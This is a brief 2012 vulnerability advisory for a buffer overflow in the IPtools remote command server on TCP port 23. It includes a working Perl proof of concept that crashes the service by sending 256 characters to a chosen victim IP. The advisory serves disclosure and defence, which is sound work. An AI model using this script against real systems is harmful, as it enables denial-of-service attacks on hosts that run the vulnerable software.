IPtools Remote Command Server Buffer Overflow Vulnerability
31 Oct. 2012
Summary
IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.
Credit:
The information has been provided by demonalex.
Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition. IPtools is vulnerable to a buffer overflow, caused by improper bounds checking by the remote command server. By sending more than 255 characters to tcp port 23, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash
Proof of Concept:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex163.com
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------
